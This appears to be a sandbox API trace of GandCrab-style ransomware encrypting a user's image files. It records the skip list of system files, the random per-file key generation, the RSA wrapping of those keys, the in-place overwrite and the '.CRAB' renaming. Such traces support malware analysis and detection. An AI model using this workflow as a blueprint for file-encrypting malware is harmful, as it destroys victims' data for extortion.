	[0133.192] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt"
	[0133.192] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.193] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt") returned 59
	[0133.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt") returned 59
	[0133.193] lstrlenW (lpString=".txt") returned 4
	[0133.193] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.193] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.193] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt") returned 59
	[0133.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\CRAB-DECRYPT.txt") returned 59
	[0133.193] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.193] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.194] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.194] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.194] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.194] lstrcmpW (lpString1="gUscKQGqJvOmu.jpg", lpString2=".") returned 1
	[0133.194] lstrcmpW (lpString1="gUscKQGqJvOmu.jpg", lpString2="..") returned 1
	[0133.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="gUscKQGqJvOmu.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg"
	[0133.194] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.194] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg") returned 60
	[0133.194] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg") returned 60
	[0133.195] lstrlenW (lpString=".jpg") returned 4
	[0133.195] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.195] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.195] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.195] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg") returned 60
	[0133.195] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg") returned 60
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="desktop.ini") returned 1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="autorun.inf") returned 1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="ntuser.dat") returned -1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="iconcache.db") returned -1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="bootsect.bak") returned 1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="boot.ini") returned 1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="ntuser.dat.log") returned -1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="thumbs.db") returned -1
	[0133.195] lstrcmpiW (lpString1="gUscKQGqJvOmu.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.195] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.196] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB") returned 65
	[0133.196] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\gusckqgqjvomu.jpg")) returned 0x20
	[0133.196] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg", dwFileAttributes=0x20) returned 1
	[0133.196] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\gusckqgqjvomu.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\gusckqgqjvomu.jpg.crab")) returned 1
	[0133.197] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.198] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB"
	[0133.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB.CRAB"
	[0133.198] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.199] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.200] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.200] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.200] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.200] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.200] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e738) returned 1
	[0133.201] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.201] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.202] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.202] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.202] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0133.202] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.202] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.202] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.203] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.204] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f1d0) returned 1
	[0133.204] CryptGetKeyParam (in: hKey=0x320f1d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.204] CryptEncrypt (in: hKey=0x320f1d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.204] GetLastError () returned 0x0
	[0133.204] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.204] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.205] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f390) returned 1
	[0133.205] CryptGetKeyParam (in: hKey=0x320f390, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.208] CryptEncrypt (in: hKey=0x320f390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.208] GetLastError () returned 0x0
	[0133.208] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.208] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\gUscKQGqJvOmu.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\gusckqgqjvomu.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.209] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.209] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.209] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x161bf, lpOverlapped=0x0) returned 1
	[0133.221] VirtualAlloc (lpAddress=0x0, dwSize=0x161c0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.223] VirtualAlloc (lpAddress=0x0, dwSize=0x161c0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.225] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.226] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe9e41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.226] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x161c0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x161c0, lpOverlapped=0x0) returned 1
	[0133.227] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.227] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.232] CloseHandle (hObject=0x3ec) returned 1
	[0133.232] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.232] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.232] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.232] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.233] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.233] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.233] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.233] lstrcmpW (lpString1="hnUH.png", lpString2=".") returned 1
	[0133.233] lstrcmpW (lpString1="hnUH.png", lpString2="..") returned 1
	[0133.233] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="hnUH.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png"
	[0133.233] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.233] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png") returned 51
	[0133.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png") returned 51
	[0133.234] lstrlenW (lpString=".png") returned 4
	[0133.234] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.234] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0133.234] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png") returned 51
	[0133.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png") returned 51
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="desktop.ini") returned 1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="autorun.inf") returned 1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="ntuser.dat") returned -1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="iconcache.db") returned -1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="bootsect.bak") returned 1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="boot.ini") returned 1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="ntuser.dat.log") returned -1
	[0133.234] lstrcmpiW (lpString1="hnUH.png", lpString2="thumbs.db") returned -1
	[0133.235] lstrcmpiW (lpString1="hnUH.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.235] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.235] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB") returned 56
	[0133.235] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\hnuh.png")) returned 0x20
	[0133.235] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png", dwFileAttributes=0x20) returned 1
	[0133.235] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\hnuh.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\hnuh.png.crab")) returned 1
	[0133.237] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.237] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB"
	[0133.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB.CRAB"
	[0133.237] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.239] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.239] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.239] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.239] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.239] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.240] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.241] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.241] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.241] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.241] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.241] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.242] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.242] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.242] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.244] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f250) returned 1
	[0133.244] CryptGetKeyParam (in: hKey=0x320f250, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.244] CryptEncrypt (in: hKey=0x320f250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.244] GetLastError () returned 0x0
	[0133.244] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.244] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0133.246] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f490) returned 1
	[0133.246] CryptGetKeyParam (in: hKey=0x320f490, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.246] CryptEncrypt (in: hKey=0x320f490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.246] GetLastError () returned 0x0
	[0133.246] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.246] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\hnUH.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\hnuh.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.247] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.247] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.247] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x1568e, lpOverlapped=0x0) returned 1
	[0133.261] VirtualAlloc (lpAddress=0x0, dwSize=0x15690, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.264] VirtualAlloc (lpAddress=0x0, dwSize=0x15690, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.267] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.268] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffea972, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.268] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15690, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x15690, lpOverlapped=0x0) returned 1
	[0133.269] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.269] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.274] CloseHandle (hObject=0x3ec) returned 1
	[0133.274] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.275] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.275] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.363] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.363] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.363] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.363] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.364] lstrcmpW (lpString1="k1sBKHyXQbc.png", lpString2=".") returned 1
	[0133.364] lstrcmpW (lpString1="k1sBKHyXQbc.png", lpString2="..") returned 1
	[0133.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="k1sBKHyXQbc.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png"
	[0133.364] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.364] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png") returned 58
	[0133.364] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png") returned 58
